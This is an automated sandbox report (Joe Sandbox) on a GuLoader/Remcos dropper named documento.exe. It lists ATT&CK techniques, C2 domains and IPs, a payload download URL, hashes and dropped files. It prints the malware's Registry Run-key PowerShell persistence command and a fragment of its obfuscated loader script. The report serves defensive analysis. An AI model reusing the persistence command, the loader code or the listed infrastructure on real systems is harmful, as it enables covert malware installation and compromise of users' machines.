Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	112 Process Injection	1 Install Root Certificate	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	11 Input Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	1 Clipboard Data	213 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Modify Registry	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
documento.exe	46%	ReversingLabs	Win32.Trojan.Guloader
documento.exe	30%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe	46%	ReversingLabs	Win32.Trojan.Guloader
C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe	30%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
learfo55ozj01.duckdns.org	16%	Virustotal	Browse
ricohltd.top	21%	Virustotal	Browse
learfo55ozj02.duckdns.org	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
learfo55ozj01.duckdns.org	100%	Avira URL Cloud	malware
https://ricohltd.top/	100%	Avira URL Cloud	malware
https://ricohltd.top/ELFpBDmh152.bin	100%	Avira URL Cloud	malware
http://go.microsoB	0%	Avira URL Cloud	safe
learfo55ozj01.duckdns.org	16%	Virustotal		Browse
https://ricohltd.top/	21%	Virustotal		Browse
https://ricohltd.top/ELFpBDmh152.bin	21%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
learfo55ozj01.duckdns.org	192.169.69.26	true	true	16%, Virustotal, Browse	unknown
ricohltd.top	104.21.60.38	true	false	21%, Virustotal, Browse	unknown
learfo55ozj02.duckdns.org	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ricohltd.top/ELFpBDmh152.bin	false	21%, Virustotal, Browse Avira URL Cloud: malware	unknown
learfo55ozj01.duckdns.org	true	16%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_Error	documento.exe, documento.exe, 00000000.00000000.336717009.0000000000409000.00000008.00000001.01000000.00000003.sdmp, documento.exe, 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmp	false		high
http://crl.entrust.net/server1.crl0	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false		high
http://go.microsoB	powershell.exe, 0000000F.00000002.747126778.00000000003B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000003.00000002.533716177.00000000032B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	documento.exe, 00000000.00000000.336717009.0000000000409000.00000008.00000001.01000000.00000003.sdmp, documento.exe, 00000000.00000002.378776216.0000000000409000.00000004.00000001.01000000.00000003.sdmp	false		high
http://ocsp.entrust.net0D	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.530743058.0000000002291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.568783013.0000000002931000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.749519743.0000000002011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.613484329.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.comodo.com/CPS0	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	wab.exe, 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ricohltd.top/	wab.exe, 00000006.00000002.866892514.00000000003D4000.00000004.00000020.00020000.00000000.sdmp	false	21%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.60.38	ricohltd.top	United States	13335	CLOUDFLARENETUS	false
172.67.191.112	unknown	United States	13335	CLOUDFLARENETUS	false
192.169.69.26	learfo55ozj01.duckdns.org	United States	23033	WOWUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1434785
Start date and time:	2024-05-01 18:18:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	documento.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@25/23@359/3
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Successful, ratio: 89% Number of executed functions: 136 Number of non-executed functions: 75
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target powershell.exe, PID 1784 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3672 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:20:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Startup key %knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)
09:20:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Startup key %knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)
18:19:13	API Interceptor	126x Sleep call for process: documento.exe modified
18:19:28	API Interceptor	555x Sleep call for process: powershell.exe modified
18:20:36	API Interceptor	1846991x Sleep call for process: wab.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.60.38	COPY.doc	Get hash	malicious	Unknown	Browse	ricohltd.top/pages/microzx.scr
104.21.60.38	93Vc4lrukRxn3WG.exe	Get hash	malicious	FormBook	Browse	www.peacemyanmar.com/c8ec/?i2Jx-=JbnHKQNA4AubQ4cSTRqCUjsV30iNMKVb/qiRb+TdpY0tAokv3PP5G3/qX2Zn4Kqzke2C&3fb=t8Cle8U
172.67.191.112	.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse
	z77EU17439-FT-MILKYLUXGOUDAMILD.exe	Get hash	malicious	GuLoader, Remcos	Browse
	sample.exe	Get hash	malicious	GuLoader, Remcos	Browse
	Copy of Noyan Order Form Global Importing Group 2024.exe	Get hash	malicious	GuLoader, Remcos	Browse
	Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe	Get hash	malicious	GuLoader, Remcos	Browse
	107. PN-EN-1090-2+A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse
	z42MNA2024000000041-KWINTMADI-11310Y_K.exe	Get hash	malicious	GuLoader, Remcos	Browse
	UMMAN #U0130HRACAT AFR5641 910-1714 1633.exe	Get hash	malicious	GuLoader, Remcos	Browse
192.169.69.26	&nuevo_pedido#..vbs	Get hash	malicious	Unknown	Browse	servidorarquivos.duckdns.org/e/e
	transferencia_Hsbc.xlsx	Get hash	malicious	Unknown	Browse	servidorarquivos.duckdns.org/e/e
	http://www.secure-0fflce-o365.duckdns.org/	Get hash	malicious	Unknown	Browse	www.secure-0fflce-o365.duckdns.org/
	http://muqzwpkojc.duckdns.org	Get hash	malicious	Unknown	Browse	muqzwpkojc.duckdns.org/
	http://jrljsybkku.duckdns.org	Get hash	malicious	Unknown	Browse	jrljsybkku.duckdns.org/
	last.exe	Get hash	malicious	RedLine	Browse	siyatermi.duckdns.org:17044/
	5BDF181C629182A48CE6810CD0987FB0C1242DED4C9E7.exe	Get hash	malicious	RedLine	Browse	redline957.duckdns.org:35253/IRemotePanel
	1ZXSAOPKH09SA_PAYMENT-COPY.js	Get hash	malicious	VjW0rm	Browse	jamnnd.duckdns.org:8024/Vre
	LB9lJxaVP7.exe	Get hash	malicious	Unknown	Browse	cpanelcustomershost.duckdns.org/SystemEnv/uploads/newsoftware-tester_Gurledjm.jpg
	Scan0049938_pdf.com.exe	Get hash	malicious	Unknown	Browse	cpanelcustomershost.duckdns.org/SystemEnv/uploads/newsoftware-tester_Wrpqkawe.bmp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
learfo55ozj01.duckdns.org	.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	z39103_PN-EN-1090-1_A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	z6FORMATOPROVEEDORESMETAX.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	z77EU17439-FT-MILKYLUXGOUDAMILD.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	sample.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	Copy of Noyan Order Form Global Importing Group 2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	107. PN-EN-1090-2+A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
	FINAL CMR.-Transportauftrag Nachlauf new.exe	Get hash	malicious	GuLoader, Remcos	Browse	193.222.96.21
ricohltd.top	.04.2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	z6FORMATOPROVEEDORESMETAX.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	z77EU17439-FT-MILKYLUXGOUDAMILD.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	sample.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	Copy of Noyan Order Form Global Importing Group 2024.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	Commande No 00007 de M.N.S. S.A. 24000127 MNS Distribution.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	107. PN-EN-1090-2+A1_2012P.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.191.112
	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	FINAL CMR.-Transportauftrag Nachlauf new.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38
	04172024121853atr reteks.exe	Get hash	malicious	GuLoader, Remcos	Browse	104.21.60.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	http://criticalfacilitiessolutions.com	Get hash	malicious	Unknown	Browse	172.67.152.97
	free-pdf-creator.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
	uF8wwjO0iU.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OWrVfOdM62.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://yiod563zkz8o3x.blob.core.windows.net/yiod563zkz8o3x/1.html?4qhwvy8167VjYz242vffrhartbz938YRYGCGVWKKZIIRL45416MSZZ14335C15#15/242-8167/938-45416-14335	Get hash	malicious	HTMLPhisher	Browse	104.21.80.104
	https://corpsierramadre.com/	Get hash	malicious	Unknown	Browse	104.21.93.126
	access_version_x32-64_pack.exe	Get hash	malicious	Unknown	Browse	104.20.138.65
	2zdult23rz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	baVrLvRHZY.exe	Get hash	malicious	LummaC	Browse	172.67.141.11
	lfY08S61Ig.exe	Get hash	malicious	LummaC	Browse	104.21.81.139
WOWUS	LUMEN3547583853959599359959359Cercospora.bat	Get hash	malicious	GuLoader, Remcos	Browse	192.169.69.26
	https://pub-68c8c7ae0a9b4e62b5641da4fe04590d.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	192.169.69.26
	https://svuch3d.duckdns.org/	Get hash	malicious	Unknown	Browse	192.169.69.26
	https://6mw23o.duckdns.org/	Get hash	malicious	Unknown	Browse	192.169.69.26
	https://ixkv5pf.duckdns.org/	Get hash	malicious	Unknown	Browse	192.169.69.26
	87tBuE42ft.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.93.222.219
	VbVGKkKgdbEScfW.scr	Get hash	malicious	Nanocore, PureLog Stealer	Browse	192.169.69.26
	dxM4ij1KkuoBK3H.scr	Get hash	malicious	Nanocore	Browse	192.169.69.26
	Q00D5u1xHq.elf	Get hash	malicious	Mirai, Okiru	Browse	208.115.121.80
	SecuriteInfo.com.Win32.Trojan.CobaltStrike.4EYNH5.5772.17622.dll	Get hash	malicious	CobaltStrike	Browse	45.14.115.125
CLOUDFLARENETUS	http://criticalfacilitiessolutions.com	Get hash	malicious	Unknown	Browse	172.67.152.97
	free-pdf-creator.exe	Get hash	malicious	Unknown	Browse	104.17.25.14
	uF8wwjO0iU.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	OWrVfOdM62.rtf	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.13.205
	https://yiod563zkz8o3x.blob.core.windows.net/yiod563zkz8o3x/1.html?4qhwvy8167VjYz242vffrhartbz938YRYGCGVWKKZIIRL45416MSZZ14335C15#15/242-8167/938-45416-14335	Get hash	malicious	HTMLPhisher	Browse	104.21.80.104
	https://corpsierramadre.com/	Get hash	malicious	Unknown	Browse	104.21.93.126
	access_version_x32-64_pack.exe	Get hash	malicious	Unknown	Browse	104.20.138.65
	2zdult23rz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	baVrLvRHZY.exe	Get hash	malicious	LummaC	Browse	172.67.141.11
	lfY08S61Ig.exe	Get hash	malicious	LummaC	Browse	104.21.81.139

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	nU7Z8sPyvf.rtf	Get hash	malicious	Remcos	Browse	104.21.60.38 172.67.191.112
	QF3YL9rOxB.rtf	Get hash	malicious	AgentTesla	Browse	104.21.60.38 172.67.191.112
	GENERALCANDY INV FWDRB42024.doc	Get hash	malicious	Lokibot	Browse	104.21.60.38 172.67.191.112
	citat-05012024.xla.xlsx	Get hash	malicious	Unknown	Browse	104.21.60.38 172.67.191.112
	cotizaci#U00f3n_04302024.xla.xlsx	Get hash	malicious	AgentTesla	Browse	104.21.60.38 172.67.191.112
	RFQ-37463746374634.xls	Get hash	malicious	Unknown	Browse	104.21.60.38 172.67.191.112
	RFQ-37463746374634.xls	Get hash	malicious	Unknown	Browse	104.21.60.38 172.67.191.112
	SecuriteInfo.com.Exploit.ShellCode.69.24915.2103.rtf	Get hash	malicious	AgentTesla	Browse	104.21.60.38 172.67.191.112
	SalinaGroup.doc	Get hash	malicious	FormBook	Browse	104.21.60.38 172.67.191.112
	SecuriteInfo.com.Exploit.ShellCode.69.11288.31380.rtf	Get hash	malicious	Unknown	Browse	104.21.60.38 172.67.191.112

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	6934
Entropy (8bit):	4.7790940094255205
Encrypted:	false
SSDEEP:	192:+xoe5vVsm5emdDVFn3eGOVpN6K3bkkjo5hgkjDt4iWN3yBGHUdcU6CD:Q/VoGIpN6KQkj26kjh4iUxw
MD5:	91D4881F2C812CF8EE07110B290FD7A6
SHA1:	0CA688FDC673D0F644EB20B94760B28FF9D79812
SHA-256:	3840970DE2FCD631782AE143948A2242742D3228F3C07DF8BEC14D12B42AF35B
SHA-512:	4907B135666E0F4F4BC09D36F8C035478E71B5B520B7F0001B8BDB6EE69338436DA5E49541C342B66035580A367C790B1F2F2846264F91E84384542579138BF9
Malicious:	false
Preview:	PSMODULECACHE......%+./...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........%+./...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\1tvwxxbc.uq0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry

Download File

Process:	C:\Users\user\Desktop\documento.exe
File Type:	ASCII text, with very long lines (57843), with no line terminators
Category:	dropped
Size (bytes):	57843
Entropy (8bit):	5.328136114438413
Encrypted:	false
SSDEEP:	1536:x+qH901wzEySMKs2+d3Wjz7fE60AqiamlgIA7DPVCev:x+qHy15tMtdmM0lWhT
MD5:	46B1DD31D500B4168EC508A1344B6868
SHA1:	0FCD6154633A721BF05093B7087D5EBEC4E3B89D
SHA-256:	391FFC7A3B79AE0DDB3CA578611E5885D62BE4BAFB61C5286C126975B24A7A17
SHA-512:	2C86F66321895D48EBF7CE1ED75AF9F1D46CC307D947FAC02E0529B477AD78EFD01DED36E9A4F438CEC35172A11C64531D83CDC7724E44C801E32325ED06CEE2
Malicious:	true
Preview:	$Arbejdsmarkedernesrigaderne=$Subslots;<#Propelled Antiatommarchens Nathans Jibi Markedsmekanismen #><#samsiske Vuggiest Ordsprogene #><#Sagsbehandlingsregels Preternormal Diakroniens Forsegl Recognitor Andersines #><#Overskriftslinies Arketypers Bilgges Pertusariaceae Timbrels Unwashable #><#Gnidder Slumberproof Blotlgningernes Mandating Billitonite Rich #><#Skovejerens Yammering Bevgelsessystemernes Acromastitis #><#Flamberer Caprification Decriminalize Recitativo patnesses Betonkanonernes #><#lumberjacket palynomorph Vverens Autoforhandleren Unconsiderateness Affedt Kropsbevidst #><#Populrvidenskabernes Razorbill wineconner Dualiteternes #><#Chiropod Besmearer Portamento Pastillerne #><#Fornoejelse Luminaries Assist Nagedes Slackminded #><#Erena Forfrdeliges Domstolsafgrelse Afhaengighedsforhold Strisserne Galochestvlers #><#Fervor Funning Protends #><#Gennemtnkning Pinsedag Postnumrene Polynesians Sagtmodigstes guldbrylluppernes Keepers #><#Contributable Signalisvvr Kresterne #><#d

C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\chatrum.sag

Download File

Process:	C:\Users\user\Desktop\documento.exe
File Type:	data
Category:	dropped
Size (bytes):	1114
Entropy (8bit):	4.655605033691921
Encrypted:	false
SSDEEP:	24:73BS5bK10ahqTE7TippZO9ZS2k/23adYJi5r9AODujg3:dcKpqTE3iXZMS2k/2eYs5rSO66
MD5:	0B5446B68158AB6494017BDFC85DB330
SHA1:	D5612E7254F06481257959C7F70FC0625C59F434
SHA-256:	3072A2428CE58559FEB3541DD0E2AD2E3C54E05CF802C9A9A149A2386737B004
SHA-512:	636A24CA3652A52F14C62D322C9BE0452C5F82397CC7D1F37B7A541AE80B2529A81472E28E10919A202F8CCC555F26C55B42F97AA281375265E90F0DDE045497
Malicious:	false
Preview:	........<...A2......c.......2.......k!.........;F.....R..............6.K......s.d.B@......m.o....t............e...v................a......{,....;..B.............E../..........Z...S...'.-...q....k....6.1Q........s.......R.....&.1..U7t.....!...`..)..................:...Je./..f...................q........\!.7....C..s....f....A............S............d..d...(.....u...!.e........S@A.....i......i.r..e.f..i....-..N\|.9.%*......AC.......?...w..........B..........(...0......\|.....x.................c....\.y......."k...................2......g....?.......S.\|.......:..+....r.J.........LA.l.....w....f.............~..u..t...[{..S.1.Y.~..Q..........>......T..{.B..~...t.....3. .\.}......c...u.'..[..W..?.[.I....u.........!H..".... q.......n...<...F.aT2........a...........K.f`...^....Z........?\|6?.........k........J....o..6kk..m...........Z.......^..j.....x........g.....#......M........P...........E.....q^8...dL.......tfz.e.6Fn@o.............'...........b.z...Y....(.... ................. .:..t...

C:\Users\user\AppData\Local\Temp\Deinotherium\Konservatorier.Paa

Download File

Process:	C:\Users\user\Desktop\documento.exe
File Type:	data
Category:	dropped
Size (bytes):	352360
Entropy (8bit):	7.642079234337726
Encrypted:	false
SSDEEP:	6144:qkw/o+WvGYf1vylxKtAbSu8y1ryQPbkch/OiiRf:twxKsvhlROiKf
MD5:	A12C50EA816DEA376E39D4FD65741DAC
SHA1:	A5B2D86AFD2AFBBCE31AB50004751A4A5CEE2920
SHA-256:	AE2D3D6C75E31282295A76DFA22C07C566CBF58161205A26BE6D15B385A3A1BE
SHA-512:	810616B8FD42C5BF007A89EC359FD130DD81C424956989CF34D82102E00DC6F9506B6DD6495D833AFF3F216A4122FAB484AF89570FFB3E1DD574C8C6FFD29D48
Malicious:	false
Preview:	...........ww........:...#..................XXX...........ll.UUU..................!!.....k......(((((.....v...........F...BBB......`................S..c..............__...............g...xx.....2................j........\|............55..,,,,...........(........\..W..............~...........5...ZZZZ..5..a.PP.......................dd...........oo.......A.m.....==...........EEE.......a....11............tt....55....EE.-.....2..WW.......SSS............................}....^..y............................................}......WWW........UU..x.........V....4..............QQQ.....~...S..................tttttttt....999....hhhh.((....4........????............s....JJJJJ..............`...mmmmm....gg...........WWW....**.....D.f............................eee.[[[......v.?....n..............EE.EEEE..........\..zz...................N.,.GG.O.........xxx.............#.........................HH.......................//....f........................N..._..........................................2.a.....P

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	833309
Entropy (8bit):	6.013506782930841
Encrypted:	false
SSDEEP:	24576:H7/jxjjtjj9JIvxV7kVTwRLRRFHkW7C41jRPx:bhGvX45wRLNl1jRPx
MD5:	518C32EDF768D3BE4F268071E0722A0F
SHA1:	2F606E59B3900154094978A3C2DCC16A7ADDFD55
SHA-256:	E7092EB28DC769559D0D9DB50EF39B664AE5EC4BA76AC580C11DFBFA1C426290
SHA-512:	B1AC6888CAA22657FB0E2D44016186075CDE37E3CF65A1ECCE396EB04270900D9CD49C06B1A025215BB8BA134E22F9623549CD73E7896591D16769E8D201BE3D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 46% Antivirus: Virustotal, Detection: 30%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1)..PG..PG..PG._...PG..PF.IPG._...PG.sw..PG..VA..PG.Rich.PG.........PE..L...p..V.................^...........0.......p....@.......................................@..................................s.......@..XB...........................................................................p...............................text...[\.......^.................. ..`.rdata.......p.......b..............@..@.data................v..............@....ndata.......@...........................rsrc...XB...@...D...z..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\hektowattens.txt

Download File

